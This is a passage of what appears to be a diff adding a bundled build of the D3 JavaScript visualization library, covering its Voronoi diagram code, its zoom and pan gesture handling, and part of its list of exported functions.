(!lArc && !rArc) return; + + if (lArc === rArc) { + detachCircle(lArc); + rArc = createBeach(lArc.site); + beaches.insert(newArc, rArc); + newArc.edge = rArc.edge = createEdge(lArc.site, newArc.site); + attachCircle(lArc); + attachCircle(rArc); + return; + } + + if (!rArc) { // && lArc + newArc.edge = createEdge(lArc.site, newArc.site); + return; + } + + // else lArc !== rArc + detachCircle(lArc); + detachCircle(rArc); + + var lSite = lArc.site, + ax = lSite[0], + ay = lSite[1], + bx = site[0] - ax, + by = site[1] - ay, + rSite = rArc.site, + cx = rSite[0] - ax, + cy = rSite[1] - ay, + d = 2 * (bx * cy - by * cx), + hb = bx * bx + by * by, + hc = cx * cx + cy * cy, + vertex = [(cy * hb - by * hc) / d + ax, (bx * hc - cx * hb) / d + ay]; + + setEdgeEnd(rArc.edge, lSite, rSite, vertex); + newArc.edge = createEdge(lSite, site, null, vertex); + rArc.edge = createEdge(site, rSite, null, vertex); + attachCircle(lArc); + attachCircle(rArc); +} + +function leftBreakPoint(arc, directrix) { + var site = arc.site, + rfocx = site[0], + rfocy = site[1], + pby2 = rfocy - directrix; + + if (!pby2) return rfocx; + + var lArc = arc.P; + if (!lArc) return -Infinity; + + site = lArc.site; + var lfocx = site[0], + lfocy = site[1], + plby2 = lfocy - directrix; + + if (!plby2) return lfocx; + + var hl = lfocx - rfocx, + aby2 = 1 / pby2 - 1 / plby2, + b = hl / plby2; + + if (aby2) return (-b + Math.sqrt(b * b - 2 * aby2 * (hl * hl / (-2 * plby2) - lfocy + plby2 / 2 + rfocy - pby2 / 2))) / aby2 + rfocx; + + return (rfocx + lfocx) / 2; +} + +function rightBreakPoint(arc, directrix) { + var rArc = arc.N; + if (rArc) return leftBreakPoint(rArc, directrix); + var site = arc.site; + return site[1] === directrix ? site[0] : Infinity; +} + +var epsilon$4 = 1e-6; +var epsilon2$2 = 1e-12; +var beaches; +var cells; +var circles; +var edges; + +function triangleArea(a, b, c) { + return (a[0] - c[0]) * (b[1] - a[1]) - (a[0] - b[0]) * (c[1] - a[1]); +} + +function lexicographic(a, b) { + return b[1] - a[1] + || b[0] - a[0]; +} + +function Diagram(sites, extent) { + var site = sites.sort(lexicographic).pop(), + x, + y, + circle; + + edges = []; + cells = new Array(sites.length); + beaches = new RedBlackTree; + circles = new RedBlackTree; + + while (true) { + circle = firstCircle; + if (site && (!circle || site[1] < circle.y || (site[1] === circle.y && site[0] < circle.x))) { + if (site[0] !== x || site[1] !== y) { + addBeach(site); + x = site[0], y = site[1]; + } + site = sites.pop(); + } else if (circle) { + removeBeach(circle.arc); + } else { + break; + } + } + + sortCellHalfedges(); + + if (extent) { + var x0 = +extent[0][0], + y0 = +extent[0][1], + x1 = +extent[1][0], + y1 = +extent[1][1]; + clipEdges(x0, y0, x1, y1); + clipCells(x0, y0, x1, y1); + } + + this.edges = edges; + this.cells = cells; + + beaches = + circles = + edges = + cells = null; +} + +Diagram.prototype = { + constructor: Diagram, + + polygons: function() { + var edges = this.edges; + + return this.cells.map(function(cell) { + var polygon = cell.halfedges.map(function(i) { return cellHalfedgeStart(cell, edges[i]); }); + polygon.data = cell.site.data; + return polygon; + }); + }, + + triangles: function() { + var triangles = [], + edges = this.edges; + + this.cells.forEach(function(cell, i) { + if (!(m = (halfedges = cell.halfedges).length)) return; + var site = cell.site, + halfedges, + j = -1, + m, + s0, + e1 = edges[halfedges[m - 1]], + s1 = e1.left === site ? e1.right : e1.left; + + while (++j < m) { + s0 = s1; + e1 = edges[halfedges[j]]; + s1 = e1.left === site ? e1.right : e1.left; + if (s0 && s1 && i < s0.index && i < s1.index && triangleArea(site, s0, s1) < 0) { + triangles.push([site.data, s0.data, s1.data]); + } + } + }); + + return triangles; + }, + + links: function() { + return this.edges.filter(function(edge) { + return edge.right; + }).map(function(edge) { + return { + source: edge.left.data, + target: edge.right.data + }; + }); + }, + + find: function(x, y, radius) { + var that = this, i0, i1 = that._found || 0, n = that.cells.length, cell; + + // Use the previously-found cell, or start with an arbitrary one. + while (!(cell = that.cells[i1])) if (++i1 >= n) return null; + var dx = x - cell.site[0], dy = y - cell.site[1], d2 = dx * dx + dy * dy; + + // Traverse the half-edges to find a closer cell, if any. + do { + cell = that.cells[i0 = i1], i1 = null; + cell.halfedges.forEach(function(e) { + var edge = that.edges[e], v = edge.left; + if ((v === cell.site || !v) && !(v = edge.right)) return; + var vx = x - v[0], vy = y - v[1], v2 = vx * vx + vy * vy; + if (v2 < d2) d2 = v2, i1 = v.index; + }); + } while (i1 !== null); + + that._found = i0; + + return radius == null || d2 <= radius * radius ? cell.site : null; + } +}; + +function voronoi() { + var x = x$4, + y = y$4, + extent = null; + + function voronoi(data) { + return new Diagram(data.map(function(d, i) { + var s = [Math.round(x(d, i, data) / epsilon$4) * epsilon$4, Math.round(y(d, i, data) / epsilon$4) * epsilon$4]; + s.index = i; + s.data = d; + return s; + }), extent); + } + + voronoi.polygons = function(data) { + return voronoi(data).polygons(); + }; + + voronoi.links = function(data) { + return voronoi(data).links(); + }; + + voronoi.triangles = function(data) { + return voronoi(data).triangles(); + }; + + voronoi.x = function(_) { + return arguments.length ? (x = typeof _ === "function" ? _ : constant$c(+_), voronoi) : x; + }; + + voronoi.y = function(_) { + return arguments.length ? (y = typeof _ === "function" ? _ : constant$c(+_), voronoi) : y; + }; + + voronoi.extent = function(_) { + return arguments.length ? (extent = _ == null ? null : [[+_[0][0], +_[0][1]], [+_[1][0], +_[1][1]]], voronoi) : extent && [[extent[0][0], extent[0][1]], [extent[1][0], extent[1][1]]]; + }; + + voronoi.size = function(_) { + return arguments.length ? (extent = _ == null ? null : [[0, 0], [+_[0], +_[1]]], voronoi) : extent && [extent[1][0] - extent[0][0], extent[1][1] - extent[0][1]]; + }; + + return voronoi; +} + +function constant$d(x) { + return function() { + return x; + }; +} + +function ZoomEvent(target, type, transform) { + this.target = target; + this.type = type; + this.transform = transform; +} + +function Transform(k, x, y) { + this.k = k; + this.x = x; + this.y = y; +} + +Transform.prototype = { + constructor: Transform, + scale: function(k) { + return k === 1 ? this : new Transform(this.k * k, this.x, this.y); + }, + translate: function(x, y) { + return x === 0 & y === 0 ? this : new Transform(this.k, this.x + this.k * x, this.y + this.k * y); + }, + apply: function(point) { + return [point[0] * this.k + this.x, point[1] * this.k + this.y]; + }, + applyX: function(x) { + return x * this.k + this.x; + }, + applyY: function(y) { + return y * this.k + this.y; + }, + invert: function(location) { + return [(location[0] - this.x) / this.k, (location[1] - this.y) / this.k]; + }, + invertX: function(x) { + return (x - this.x) / this.k; + }, + invertY: function(y) { + return (y - this.y) / this.k; + }, + rescaleX: function(x) { + return x.copy().domain(x.range().map(this.invertX, this).map(x.invert, x)); + }, + rescaleY: function(y) { + return y.copy().domain(y.range().map(this.invertY, this).map(y.invert, y)); + }, + toString: function() { + return "translate(" + this.x + "," + this.y + ") scale(" + this.k + ")"; + } +}; + +var identity$9 = new Transform(1, 0, 0); + +transform$1.prototype = Transform.prototype; + +function transform$1(node) { + while (!node.__zoom) if (!(node = node.parentNode)) return identity$9; + return node.__zoom; +} + +function nopropagation$2() { + exports.event.stopImmediatePropagation(); +} + +function noevent$2() { + exports.event.preventDefault(); + exports.event.stopImmediatePropagation(); +} + +// Ignore right-click, since that should open the context menu. +function defaultFilter$2() { + return !exports.event.ctrlKey && !exports.event.button; +} + +function defaultExtent$1() { + var e = this; + if (e instanceof SVGElement) { + e = e.ownerSVGElement || e; + if (e.hasAttribute("viewBox")) { + e = e.viewBox.baseVal; + return [[e.x, e.y], [e.x + e.width, e.y + e.height]]; + } + return [[0, 0], [e.width.baseVal.value, e.height.baseVal.value]]; + } + return [[0, 0], [e.clientWidth, e.clientHeight]]; +} + +function defaultTransform() { + return this.__zoom || identity$9; +} + +function defaultWheelDelta() { + return -exports.event.deltaY * (exports.event.deltaMode === 1 ? 0.05 : exports.event.deltaMode ? 1 : 0.002); +} + +function defaultTouchable$2() { + return navigator.maxTouchPoints || ("ontouchstart" in this); +} + +function defaultConstrain(transform, extent, translateExtent) { + var dx0 = transform.invertX(extent[0][0]) - translateExtent[0][0], + dx1 = transform.invertX(extent[1][0]) - translateExtent[1][0], + dy0 = transform.invertY(extent[0][1]) - translateExtent[0][1], + dy1 = transform.invertY(extent[1][1]) - translateExtent[1][1]; + return transform.translate( + dx1 > dx0 ? (dx0 + dx1) / 2 : Math.min(0, dx0) || Math.max(0, dx1), + dy1 > dy0 ? (dy0 + dy1) / 2 : Math.min(0, dy0) || Math.max(0, dy1) + ); +} + +function zoom() { + var filter = defaultFilter$2, + extent = defaultExtent$1, + constrain = defaultConstrain, + wheelDelta = defaultWheelDelta, + touchable = defaultTouchable$2, + scaleExtent = [0, Infinity], + translateExtent = [[-Infinity, -Infinity], [Infinity, Infinity]], + duration = 250, + interpolate = interpolateZoom, + listeners = dispatch("start", "zoom", "end"), + touchstarting, + touchending, + touchDelay = 500, + wheelDelay = 150, + clickDistance2 = 0; + + function zoom(selection) { + selection + .property("__zoom", defaultTransform) + .on("wheel.zoom", wheeled) + .on("mousedown.zoom", mousedowned) + .on("dblclick.zoom", dblclicked) + .filter(touchable) + .on("touchstart.zoom", touchstarted) + .on("touchmove.zoom", touchmoved) + .on("touchend.zoom touchcancel.zoom", touchended) + .style("touch-action", "none") + .style("-webkit-tap-highlight-color", "rgba(0,0,0,0)"); + } + + zoom.transform = function(collection, transform, point) { + var selection = collection.selection ? collection.selection() : collection; + selection.property("__zoom", defaultTransform); + if (collection !== selection) { + schedule(collection, transform, point); + } else { + selection.interrupt().each(function() { + gesture(this, arguments) + .start() + .zoom(null, typeof transform === "function" ? transform.apply(this, arguments) : transform) + .end(); + }); + } + }; + + zoom.scaleBy = function(selection, k, p) { + zoom.scaleTo(selection, function() { + var k0 = this.__zoom.k, + k1 = typeof k === "function" ? k.apply(this, arguments) : k; + return k0 * k1; + }, p); + }; + + zoom.scaleTo = function(selection, k, p) { + zoom.transform(selection, function() { + var e = extent.apply(this, arguments), + t0 = this.__zoom, + p0 = p == null ? centroid(e) : typeof p === "function" ? p.apply(this, arguments) : p, + p1 = t0.invert(p0), + k1 = typeof k === "function" ? k.apply(this, arguments) : k; + return constrain(translate(scale(t0, k1), p0, p1), e, translateExtent); + }, p); + }; + + zoom.translateBy = function(selection, x, y) { + zoom.transform(selection, function() { + return constrain(this.__zoom.translate( + typeof x === "function" ? x.apply(this, arguments) : x, + typeof y === "function" ? y.apply(this, arguments) : y + ), extent.apply(this, arguments), translateExtent); + }); + }; + + zoom.translateTo = function(selection, x, y, p) { + zoom.transform(selection, function() { + var e = extent.apply(this, arguments), + t = this.__zoom, + p0 = p == null ? centroid(e) : typeof p === "function" ? p.apply(this, arguments) : p; + return constrain(identity$9.translate(p0[0], p0[1]).scale(t.k).translate( + typeof x === "function" ? -x.apply(this, arguments) : -x, + typeof y === "function" ? -y.apply(this, arguments) : -y + ), e, translateExtent); + }, p); + }; + + function scale(transform, k) { + k = Math.max(scaleExtent[0], Math.min(scaleExtent[1], k)); + return k === transform.k ? transform : new Transform(k, transform.x, transform.y); + } + + function translate(transform, p0, p1) { + var x = p0[0] - p1[0] * transform.k, y = p0[1] - p1[1] * transform.k; + return x === transform.x && y === transform.y ? transform : new Transform(transform.k, x, y); + } + + function centroid(extent) { + return [(+extent[0][0] + +extent[1][0]) / 2, (+extent[0][1] + +extent[1][1]) / 2]; + } + + function schedule(transition, transform, point) { + transition + .on("start.zoom", function() { gesture(this, arguments).start(); }) + .on("interrupt.zoom end.zoom", function() { gesture(this, arguments).end(); }) + .tween("zoom", function() { + var that = this, + args = arguments, + g = gesture(that, args), + e = extent.apply(that, args), + p = point == null ? centroid(e) : typeof point === "function" ? point.apply(that, args) : point, + w = Math.max(e[1][0] - e[0][0], e[1][1] - e[0][1]), + a = that.__zoom, + b = typeof transform === "function" ? transform.apply(that, args) : transform, + i = interpolate(a.invert(p).concat(w / a.k), b.invert(p).concat(w / b.k)); + return function(t) { + if (t === 1) t = b; // Avoid rounding error on end. + else { var l = i(t), k = w / l[2]; t = new Transform(k, p[0] - l[0] * k, p[1] - l[1] * k); } + g.zoom(null, t); + }; + }); + } + + function gesture(that, args, clean) { + return (!clean && that.__zooming) || new Gesture(that, args); + } + + function Gesture(that, args) { + this.that = that; + this.args = args; + this.active = 0; + this.extent = extent.apply(that, args); + this.taps = 0; + } + + Gesture.prototype = { + start: function() { + if (++this.active === 1) { + this.that.__zooming = this; + this.emit("start"); + } + return this; + }, + zoom: function(key, transform) { + if (this.mouse && key !== "mouse") this.mouse[1] = transform.invert(this.mouse[0]); + if (this.touch0 && key !== "touch") this.touch0[1] = transform.invert(this.touch0[0]); + if (this.touch1 && key !== "touch") this.touch1[1] = transform.invert(this.touch1[0]); + this.that.__zoom = transform; + this.emit("zoom"); + return this; + }, + end: function() { + if (--this.active === 0) { + delete this.that.__zooming; + this.emit("end"); + } + return this; + }, + emit: function(type) { + customEvent(new ZoomEvent(zoom, type, this.that.__zoom), listeners.apply, listeners, [type, this.that, this.args]); + } + }; + + function wheeled() { + if (!filter.apply(this, arguments)) return; + var g = gesture(this, arguments), + t = this.__zoom, + k = Math.max(scaleExtent[0], Math.min(scaleExtent[1], t.k * Math.pow(2, wheelDelta.apply(this, arguments)))), + p = mouse(this); + + // If the mouse is in the same location as before, reuse it. + // If there were recent wheel events, reset the wheel idle timeout. + if (g.wheel) { + if (g.mouse[0][0] !== p[0] || g.mouse[0][1] !== p[1]) { + g.mouse[1] = t.invert(g.mouse[0] = p); + } + clearTimeout(g.wheel); + } + + // If this wheel event won’t trigger a transform change, ignore it. + else if (t.k === k) return; + + // Otherwise, capture the mouse point and location at the start. + else { + g.mouse = [p, t.invert(p)]; + interrupt(this); + g.start(); + } + + noevent$2(); + g.wheel = setTimeout(wheelidled, wheelDelay); + g.zoom("mouse", constrain(translate(scale(t, k), g.mouse[0], g.mouse[1]), g.extent, translateExtent)); + + function wheelidled() { + g.wheel = null; + g.end(); + } + } + + function mousedowned() { + if (touchending || !filter.apply(this, arguments)) return; + var g = gesture(this, arguments, true), + v = select(exports.event.view).on("mousemove.zoom", mousemoved, true).on("mouseup.zoom", mouseupped, true), + p = mouse(this), + x0 = exports.event.clientX, + y0 = exports.event.clientY; + + dragDisable(exports.event.view); + nopropagation$2(); + g.mouse = [p, this.__zoom.invert(p)]; + interrupt(this); + g.start(); + + function mousemoved() { + noevent$2(); + if (!g.moved) { + var dx = exports.event.clientX - x0, dy = exports.event.clientY - y0; + g.moved = dx * dx + dy * dy > clickDistance2; + } + g.zoom("mouse", constrain(translate(g.that.__zoom, g.mouse[0] = mouse(g.that), g.mouse[1]), g.extent, translateExtent)); + } + + function mouseupped() { + v.on("mousemove.zoom mouseup.zoom", null); + yesdrag(exports.event.view, g.moved); + noevent$2(); + g.end(); + } + } + + function dblclicked() { + if (!filter.apply(this, arguments)) return; + var t0 = this.__zoom, + p0 = mouse(this), + p1 = t0.invert(p0), + k1 = t0.k * (exports.event.shiftKey ? 0.5 : 2), + t1 = constrain(translate(scale(t0, k1), p0, p1), extent.apply(this, arguments), translateExtent); + + noevent$2(); + if (duration > 0) select(this).transition().duration(duration).call(schedule, t1, p0); + else select(this).call(zoom.transform, t1); + } + + function touchstarted() { + if (!filter.apply(this, arguments)) return; + var touches = exports.event.touches, + n = touches.length, + g = gesture(this, arguments, exports.event.changedTouches.length === n), + started, i, t, p; + + nopropagation$2(); + for (i = 0; i < n; ++i) { + t = touches[i], p = touch(this, touches, t.identifier); + p = [p, this.__zoom.invert(p), t.identifier]; + if (!g.touch0) g.touch0 = p, started = true, g.taps = 1 + !!touchstarting; + else if (!g.touch1 && g.touch0[2] !== p[2]) g.touch1 = p, g.taps = 0; + } + + if (touchstarting) touchstarting = clearTimeout(touchstarting); + + if (started) { + if (g.taps < 2) touchstarting = setTimeout(function() { touchstarting = null; }, touchDelay); + interrupt(this); + g.start(); + } + } + + function touchmoved() { + if (!this.__zooming) return; + var g = gesture(this, arguments), + touches = exports.event.changedTouches, + n = touches.length, i, t, p, l; + + noevent$2(); + if (touchstarting) touchstarting = clearTimeout(touchstarting); + g.taps = 0; + for (i = 0; i < n; ++i) { + t = touches[i], p = touch(this, touches, t.identifier); + if (g.touch0 && g.touch0[2] === t.identifier) g.touch0[0] = p; + else if (g.touch1 && g.touch1[2] === t.identifier) g.touch1[0] = p; + } + t = g.that.__zoom; + if (g.touch1) { + var p0 = g.touch0[0], l0 = g.touch0[1], + p1 = g.touch1[0], l1 = g.touch1[1], + dp = (dp = p1[0] - p0[0]) * dp + (dp = p1[1] - p0[1]) * dp, + dl = (dl = l1[0] - l0[0]) * dl + (dl = l1[1] - l0[1]) * dl; + t = scale(t, Math.sqrt(dp / dl)); + p = [(p0[0] + p1[0]) / 2, (p0[1] + p1[1]) / 2]; + l = [(l0[0] + l1[0]) / 2, (l0[1] + l1[1]) / 2]; + } + else if (g.touch0) p = g.touch0[0], l = g.touch0[1]; + else return; + g.zoom("touch", constrain(translate(t, p, l), g.extent, translateExtent)); + } + + function touchended() { + if (!this.__zooming) return; + var g = gesture(this, arguments), + touches = exports.event.changedTouches, + n = touches.length, i, t; + + nopropagation$2(); + if (touchending) clearTimeout(touchending); + touchending = setTimeout(function() { touchending = null; }, touchDelay); + for (i = 0; i < n; ++i) { + t = touches[i]; + if (g.touch0 && g.touch0[2] === t.identifier) delete g.touch0; + else if (g.touch1 && g.touch1[2] === t.identifier) delete g.touch1; + } + if (g.touch1 && !g.touch0) g.touch0 = g.touch1, delete g.touch1; + if (g.touch0) g.touch0[1] = this.__zoom.invert(g.touch0[0]); + else { + g.end(); + // If this was a dbltap, reroute to the (optional) dblclick.zoom handler. + if (g.taps === 2) { + var p = select(this).on("dblclick.zoom"); + if (p) p.apply(this, arguments); + } + } + } + + zoom.wheelDelta = function(_) { + return arguments.length ? (wheelDelta = typeof _ === "function" ? _ : constant$d(+_), zoom) : wheelDelta; + }; + + zoom.filter = function(_) { + return arguments.length ? (filter = typeof _ === "function" ? _ : constant$d(!!_), zoom) : filter; + }; + + zoom.touchable = function(_) { + return arguments.length ? (touchable = typeof _ === "function" ? _ : constant$d(!!_), zoom) : touchable; + }; + + zoom.extent = function(_) { + return arguments.length ? (extent = typeof _ === "function" ? _ : constant$d([[+_[0][0], +_[0][1]], [+_[1][0], +_[1][1]]]), zoom) : extent; + }; + + zoom.scaleExtent = function(_) { + return arguments.length ? (scaleExtent[0] = +_[0], scaleExtent[1] = +_[1], zoom) : [scaleExtent[0], scaleExtent[1]]; + }; + + zoom.translateExtent = function(_) { + return arguments.length ? (translateExtent[0][0] = +_[0][0], translateExtent[1][0] = +_[1][0], translateExtent[0][1] = +_[0][1], translateExtent[1][1] = +_[1][1], zoom) : [[translateExtent[0][0], translateExtent[0][1]], [translateExtent[1][0], translateExtent[1][1]]]; + }; + + zoom.constrain = function(_) { + return arguments.length ? (constrain = _, zoom) : constrain; + }; + + zoom.duration = function(_) { + return arguments.length ? (duration = +_, zoom) : duration; + }; + + zoom.interpolate = function(_) { + return arguments.length ? (interpolate = _, zoom) : interpolate; + }; + + zoom.on = function() { + var value = listeners.on.apply(listeners, arguments); + return value === listeners ? zoom : value; + }; + + zoom.clickDistance = function(_) { + return arguments.length ? (clickDistance2 = (_ = +_) * _, zoom) : Math.sqrt(clickDistance2); + }; + + return zoom; +} + +exports.FormatSpecifier = FormatSpecifier; +exports.active = active; +exports.arc = arc; +exports.area = area$3; +exports.areaRadial = areaRadial; +exports.ascending = ascending; +exports.autoType = autoType; +exports.axisBottom = axisBottom; +exports.axisLeft = axisLeft; +exports.axisRight = axisRight; +exports.axisTop = axisTop; +exports.bisect = bisectRight; +exports.bisectLeft = bisectLeft; +exports.bisectRight = bisectRight; +exports.bisector = bisector; +exports.blob = blob; +exports.brush = brush; +exports.brushSelection = brushSelection; +exports.brushX = brushX; +exports.brushY = brushY; +exports.buffer = buffer; +exports.chord = chord; +exports.clientPoint = point; +exports.cluster = cluster; +exports.color = color; +exports.contourDensity = density; +exports.contours = contours; +exports.create = create; +exports.creator = creator; +exports.cross = cross; +exports.csv = csv$1; +exports.csvFormat = csvFormat; +exports.csvFormatBody = csvFormatBody; +exports.csvFormatRow = csvFormatRow; +exports.csvFormatRows = csvFormatRows; +exports.csvFormatValue = csvFormatValue; +exports.csvParse = csvParse; +exports.csvParseRows = csvParseRows; +exports.cubehelix = cubehelix; +exports.curveBasis = basis$2; +exports.curveBasisClosed = basisClosed$1; +exports.curveBasisOpen = basisOpen; +exports.curveBundle = bundle; +exports.curveCardinal = cardinal; +exports.curveCardinalClosed = cardinalClosed; +exports.curveCardinalOpen = cardinalOpen; +exports.curveCatmullRom = catmullRom; +exports.curveCatmullRomClosed = catmullRomClosed; +exports.curveCatmullRomOpen = catmullRomOpen; +exports.curveLinear = curveLinear; +exports.curveLinearClosed = linearClosed; +exports.curveMonotoneX = monotoneX; +exports.curveMonotoneY = monotoneY; +exports.curveNatural = natural; +exports.curveStep = step; +exports.curveStepAfter = stepAfter; +exports.curveStepBefore = stepBefore; +exports.customEvent = customEvent; +exports.descending = descending; +exports.deviation = deviation; +exports.dispatch = dispatch; +exports.drag = drag; +exports.dragDisable = dragDisable; +exports.dragEnable = yesdrag; +exports.dsv = dsv; +exports.dsvFormat = dsvFormat; +exports.easeBack = backInOut; +exports.easeBackIn = backIn; +exports.easeBackInOut = backInOut; +exports.easeBackOut = backOut; +exports.easeBounce = bounceOut; +exports.easeBounceIn = bounceIn; +exports.easeBounceInOut = bounceInOut; +exports.easeBounceOut = bounceOut; +exports.easeCircle = circleInOut; +exports.easeCircleIn = circleIn; +exports.easeCircleInOut = circleInOut; +exports.easeCircleOut = circleOut; +exports.easeCubic = cubicInOut; +exports.easeCubicIn = cubicIn; +exports.easeCubicInOut = cubicInOut; +exports.easeCubicOut = cubicOut; +exports.easeElastic = elasticOut; +exports.easeElasticIn = elasticIn; +exports.easeElasticInOut = elasticInOut; +exports.easeElasticOut = elasticOut; +exports.easeExp = expInOut; +exports.easeExpIn = expIn; +exports.easeExpInOut = expInOut; +exports.easeExpOut = expOut; +exports.easeLinear = linear$1; +exports.easePoly = polyInOut; +exports.easePolyIn = polyIn; +exports.easePolyInOut = polyInOut; +exports.easePolyOut = polyOut; +exports.easeQuad = quadInOut; +exports.easeQuadIn = quadIn; +exports.easeQuadInOut = quadInOut; +exports.easeQuadOut = quadOut; +exports.easeSin = sinInOut; +exports.easeSinIn = sinIn; +exports.easeSinInOut = sinInOut; +exports.easeSinOut = sinOut; +exports.entries = entries; +exports.extent = extent; +exports.forceCenter = center$1; +exports.forceCollide = collide; +exports.forceLink = link; +exports.forceManyBody = manyBody; +exports.forceRadial = radial; +exports.forceSimulation = simulation; +exports.forceX = x$2; +exports.forceY = y$2; +exports.formatDefaultLocale = defaultLocale; +exports.formatLocale = formatLocale; +exports.formatSpecifier = formatSpecifier; +exports.geoAlbers = albers; +exports.geoAlbersUsa = albersUsa; +exports.geoArea = area$1; +exports.geoAzimuthalEqualArea = azimuthalEqualArea; +exports.geoAzimuthalEqualAreaRaw = azimuthalEqualAreaRaw; +exports.geoAzimuthalEquidistant = azimuthalEquidistant; +exports.geoAzimuthalEquidistantRaw = azimuthalEquidistantRaw; +exports.geoBounds = bounds; +exports.geoCentroid = centroid; +exports.geoCircle = circle; +exports.geoClipAntimeridian = clipAntimeridian; +exports.geoClipCircle = clipCircle; +exports.geoClipExtent = extent$1; +exports.geoClipRectangle = clipRectangle; +exports.geoConicConformal = conicConformal; +exports.geoConicConformalRaw = conicConformalRaw; +exports.geoConicEqualArea = conicEqualArea; +exports.geoConicEqualAreaRaw = conicEqualAreaRaw; +exports.geoConicEquidistant = conicEquidistant; +exports.geoConicEquidistantRaw = conicEquidistantRaw; +exports.geoContains = contains$1; +exports.geoDistance = distance; +exports.geoEqualEarth = equalEarth; +exports.geoEqualEarthRaw = equalEarthRaw; +exports.geoEquirectangular = equirectangular; +exports.geoEquirectangularRaw = equirectangularRaw; +exports.geoGnomonic = gnomonic; +exports.geoGnomonicRaw = gnomonicRaw; +exports.geoGraticule = graticule; +exports.geoGraticule10 = graticule10; +exports.geoIdentity = identity$5; +exports.geoInterpolate = interpolate$1; +exports.geoLength = length$1; +exports.geoMercator = mercator; +exports.geoMercatorRaw = mercatorRaw; +exports.geoNaturalEarth1 = naturalEarth1; +exports.geoNaturalEarth1Raw = naturalEarth1Raw; +exports.geoOrthographic = orthographic; +exports.geoOrthographicRaw = orthographicRaw; +exports.geoPath = index$1; +exports.geoProjection = projection; +exports.geoProjectionMutator = projectionMutator; +exports.geoRotation = rotation; +exports.geoStereographic = stereographic; +exports.geoStereographicRaw = stereographicRaw; +exports.geoStream = geoStream; +exports.geoTransform = transform; +exports.geoTransverseMercator = transverseMercator; +exports.geoTransverseMercatorRaw = transverseMercatorRaw; +exports.gray = gray; +exports.hcl = hcl; +exports.hierarchy = hierarchy; +exports.histogram = histogram; +exports.hsl = hsl; +exports.html = html; +exports.image = image; +exports.interpolate = interpolateValue; +exports.interpolateArray = array$1; +exports.interpolateBasis = basis$1; +exports.interpolateBasisClosed = basisClosed; +exports.interpolateBlues = Blues; +exports.interpolateBrBG = BrBG; +exports.interpolateBuGn = BuGn; +exports.interpolateBuPu = BuPu; +exports.interpolateCividis = cividis; +exports.interpolateCool = cool; +exports.interpolateCubehelix = cubehelix$2; +exports.interpolateCubehelixDefault = cubehelix$3; +exports.interpolateCubehelixLong = cubehelixLong; +exports.interpolateDate = date; +exports.interpolateDiscrete = discrete; +exports.interpolateGnBu = GnBu; +exports.interpolateGreens = Greens; +exports.interpolateGreys = Greys; +exports.interpolateHcl = hcl$2; +exports.interpolateHclLong = hclLong; +exports.interpolateHsl = hsl$2; +exports.interpolateHslLong = hslLong; +exports.interpolateHue = hue$1; +exports.interpolateInferno = inferno; +exports.interpolateLab = lab$1; +exports.interpolateMagma = magma; +exports.interpolateNumber = interpolateNumber; +exports.interpolateNumberArray = numberArray; +exports.interpolateObject = object; +exports.interpolateOrRd = OrRd; +exports.interpolateOranges = Oranges; +exports.interpolatePRGn = PRGn; +exports.interpolatePiYG = PiYG; +exports.interpolatePlasma = plasma; +exports.interpolatePuBu = PuBu; +exports.interpolatePuBuGn = PuBuGn; +exports.interpolatePuOr = PuOr; +exports.interpolatePuRd = PuRd; +exports.interpolatePurples = Purples; +exports.interpolateRainbow = rainbow; +exports.interpolateRdBu = RdBu; +exports.interpolateRdGy = RdGy; +exports.interpolateRdPu = RdPu; +exports.interpolateRdYlBu = RdYlBu; +exports.interpolateRdYlGn = RdYlGn; +exports.interpolateReds = Reds; +exports.interpolateRgb = interpolateRgb; +exports.interpolateRgbBasis = rgbBasis; +exports.interpolateRgbBasisClosed = rgbBasisClosed; +exports.interpolateRound = interpolateRound; +exports.interpolateSinebow = sinebow; +exports.interpolateSpectral = Spectral; +exports.interpolateString = interpolateString; +exports.interpolateTransformCss = interpolateTransformCss; +exports.interpolateTransformSvg = interpolateTransformSvg; +exports.interpolateTurbo = turbo; +exports.interpolateViridis = viridis; +exports.interpolateWarm = warm; +exports.interpolateYlGn = YlGn; +exports.interpolateYlGnBu = YlGnBu; +exports.interpolateYlOrBr = YlOrBr; +exports.interpolateYlOrRd = YlOrRd; +exports.interpolateZoom = interpolateZoom; +exports.interrupt = interrupt; +exports.interval = interval$1; +exports.isoFormat = formatIso; +exports.isoParse = parseIso; +exports.json = json; +exports.keys = keys; +exports.lab = lab; +exports.lch = lch; +exports.line = line; +exports.lineRadial = lineRadial$1; +exports.linkHorizontal = linkHorizontal; +exports.linkRadial = linkRadial; +exports.linkVertical = linkVertical; +exports.local = local; +exports.map = map$1; +exports.matcher = matcher; +exports.max = max; +exports.mean = mean; +exports.median = median; +exports.merge = merge; +exports.min = min; +exports.mouse = mouse; +exports.namespace = namespace; +exports.namespaces = namespaces; +exports.nest = nest; +exports.now = now; +exports.pack = index$2; +exports.packEnclose = enclose; +exports.packSiblings = siblings; +exports.pairs = pairs; +exports.partition = partition; +exports.path = path; +exports.permute = permute; +exports.pie = pie; +exports.piecewise = piecewise; +exports.pointRadial = pointRadial; +exports.polygonArea = area$2; +exports.polygonCentroid = centroid$1; +exports.polygonContains = contains$2; +exports.polygonHull = hull; +exports.polygonLength = length$2; +exports.precisionFixed = precisionFixed; +exports.precisionPrefix = precisionPrefix; +exports.precisionRound = precisionRound; +exports.quadtree = quadtree; +exports.quantile = threshold; +exports.quantize = quantize; +exports.radialArea = areaRadial; +exports.radialLine = lineRadial$1; +exports.randomBates = bates; +exports.randomExponential = exponential$1; +exports.randomIrwinHall = irwinHall; +exports.randomLogNormal = logNormal; +exports.randomNormal = normal; +exports.randomUniform = uniform; +exports.range = sequence; +exports.rgb = rgb; +exports.ribbon = ribbon; +exports.scaleBand = band; +exports.scaleDiverging = diverging; +exports.scaleDivergingLog = divergingLog; +exports.scaleDivergingPow = divergingPow; +exports.scaleDivergingSqrt = divergingSqrt; +exports.scaleDivergingSymlog = divergingSymlog; +exports.scaleIdentity = identity$7; +exports.scaleImplicit = implicit; +exports.scaleLinear = linear$2; +exports.scaleLog = log$1; +exports.scaleOrdinal = ordinal; +exports.scalePoint = point$1; +exports.scalePow = pow$1; +exports.scaleQuantile = quantile; +exports.scaleQuantize = quantize$1; +exports.scaleSequential = sequential; +exports.scaleSequentialLog = sequentialLog; +exports.scaleSequentialPow = sequentialPow; +exports.scaleSequentialQuantile = sequentialQuantile; +exports.scaleSequentialSqrt = sequentialSqrt; +exports.scaleSequentialSymlog = sequentialSymlog; +exports.scaleSqrt = sqrt$1; +exports.scaleSymlog = symlog; +exports.scaleThreshold = threshold$1; +exports.scaleTime = time; +exports.scaleUtc = utcTime; +exports.scan = scan; 